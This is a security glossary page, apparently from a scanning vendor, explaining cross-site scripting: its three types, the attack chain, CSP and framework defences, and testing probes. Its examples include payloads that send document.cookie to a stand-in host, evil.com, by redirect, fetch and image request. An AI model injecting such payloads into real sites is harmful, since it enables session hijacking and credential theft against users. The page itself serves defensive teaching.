AI QA Monkey
AI Security Intelligence
Glossary

What Is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious JavaScript code into web pages viewed by other users. When a victim visits the compromised page, the injected script executes in their browser with the same privileges as the legitimate website — allowing the attacker to steal session tokens, capture keystrokes, redirect to phishing sites, or modify page content.

XSS is classified as A03:2021 — Injection in the OWASP Top 10 and is the most commonly found web vulnerability, affecting over 53% of web applications.

The 3 Types of XSS

1. Reflected XSS

The malicious script is part of the HTTP request (typically a URL parameter) and is immediately "reflected" back in the server's response without being stored. The attacker tricks the victim into clicking a crafted link.

# Example attack URL:
https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

Impact: Session hijacking, phishing, credential theft. Requires victim to click a link.

2. Stored XSS (Persistent XSS)

The malicious script is permanently stored on the target server — in a database, comment field, forum post, or user profile. Every user who views the affected page executes the script automatically.

# Attacker posts this as a comment:
Great article! <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

Impact: Most dangerous type. Affects all visitors without requiring them to click anything. Can lead to mass credential theft and worm-like propagation.

3. DOM-Based XSS

The vulnerability exists entirely in client-side JavaScript. The malicious payload never reaches the server — it's processed by the browser's Document Object Model (DOM).

// Vulnerable JavaScript code:
document.getElementById('greeting').innerHTML = 'Hello, ' + location.hash.substring(1);

// Attack URL:
https://example.com/page#<img src=x onerror=alert(document.cookie)>

Impact: Harder to detect with server-side scanning. Requires analysis of client-side JavaScript.

Real-World XSS Impact

  • Session hijacking: Steal authentication cookies to impersonate users
  • Credential theft: Inject fake login forms to capture passwords
  • Keylogging: Record everything the user types on the page
  • Phishing: Redirect users to attacker-controlled sites
  • Defacement: Modify page content to display false information
  • Malware distribution: Force downloads or redirect to exploit kits
  • Cryptojacking: Mine cryptocurrency using the victim's browser

How to Prevent XSS

  1. Output encoding: Encode all user-supplied data before rendering in HTML using htmlspecialchars() (PHP), he.encode() (Node.js), or framework auto-escaping
  2. Content-Security-Policy: Deploy CSP headers to restrict which scripts can execute
  3. Use modern frameworks: React, Angular, and Vue auto-escape by default
  4. DOM sanitization: Use DOMPurify when rendering user-supplied HTML
  5. HttpOnly cookies: Prevent JavaScript from accessing session cookies

For detailed prevention techniques with code examples, see our complete XSS prevention guide.

Content Security Policy (CSP) and XSS

Content Security Policy is the most effective browser-level defense against XSS. A properly configured CSP prevents injected scripts from executing even if an XSS vulnerability exists in the application code. It is a critical defense-in-depth layer.

# Strict CSP that prevents inline script execution
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self'; form-action 'self';

# The nonce value must be:
# - Cryptographically random (use crypto.randomBytes(16) or equivalent)
# - Unique per page load (never reuse)
# - Added to every legitimate script tag: <script nonce="{random}">

Without CSP, even a perfectly encoded application is one dependency vulnerability away from executing attacker scripts. With a strict nonce-based CSP, injected scripts have no nonce and are blocked by the browser regardless of how they were injected.

XSS in Single Page Applications (SPAs)

Modern frameworks like React, Angular, and Vue provide strong default XSS protection through automatic output encoding. However, SPA developers still introduce XSS vulnerabilities through specific patterns that bypass framework protections.

  • React dangerouslySetInnerHTML: This prop explicitly bypasses React's XSS protection. Any usage that includes unsanitized user content is a direct XSS vulnerability. Always sanitize with DOMPurify: dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }}.
  • Angular bypassSecurityTrustHtml(): Like React's dangerouslySetInnerHTML, this method tells Angular to trust the provided string as safe HTML. User-controlled input must never be passed to this method.
  • Vue v-html directive: Renders raw HTML without encoding. Same risk as the above — only use with static, trusted content. Never bind user input to v-html.
  • URL injection via href: Setting href to user-controlled input without validation allows javascript: URI injection in some browser contexts. Always validate URLs start with http:// or https://.

XSS attack chain: from injection to account takeover

Understanding the full attack chain helps prioritize XSS remediation. The impact of XSS depends on what the injected script can access and do in the victim's browser context.

  1. Injection: Attacker finds an endpoint that reflects or stores user input without proper encoding.
  2. Cookie theft: document.cookie reveals all non-HttpOnly cookies including session tokens. These are sent to the attacker's server: new Image().src='https://evil.com/steal?c='+document.cookie.
  3. Session hijacking: Attacker replays the stolen session cookie in their browser, gaining full authenticated access as the victim.
  4. Privilege escalation: If the victim is an admin, the attacker now has admin access. Common follow-up: create a new admin account, exfiltrate data, or inject backdoors into the application.
  5. Persistent access: Attackers plant additional payloads in stored XSS vectors to maintain access even after the original vulnerability is patched.

Testing your site for XSS vulnerabilities

XSS testing requires both automated scanning and manual verification. Automated tools catch common patterns; manual testing finds context-specific and DOM-based vulnerabilities.

  • Basic probe: Inject <script>alert(1)</script> into every user-controlled input field (search bars, profile fields, URL parameters, headers, cookies). Check if the string appears in the HTML response unencoded.
  • Event handler probe: Try <img src=x onerror=alert(1)> in contexts where HTML tags might be sanitized but attributes are not.
  • DOM-based probe: Review JavaScript source for innerHTML, outerHTML, document.write(), eval(), and setTimeout() calls that use URL fragment or query parameters as input.
  • Automated tools: OWASP ZAP, Burp Suite Pro active scanner, and AI QA Monkey external scanner can detect reflected XSS indicators automatically.

Scan Your Site for XSS Indicators

Free scan — checks CSP headers, reflected input, cookie flags, and 40+ security issues.

Scan Your Site Now

FAQ

What does XSS stand for?

XSS stands for Cross-Site Scripting. The "X" is used instead of "C" to avoid confusion with CSS (Cascading Style Sheets).

Is XSS still a threat in 2026?

Yes. XSS remains the most common web vulnerability. While modern frameworks auto-escape by default, XSS still occurs through unsafe APIs, misconfigured CSP, and server-side rendering without encoding.

What is the impact of an XSS attack?

An XSS attack can steal session cookies, redirect to phishing sites, modify page content, capture keystrokes, perform actions on behalf of the victim, and spread malware.

Check Your Website Right Now

Run a free automated security scan — 75 checks in 60 seconds. No signup required.

Run Free Security Scan →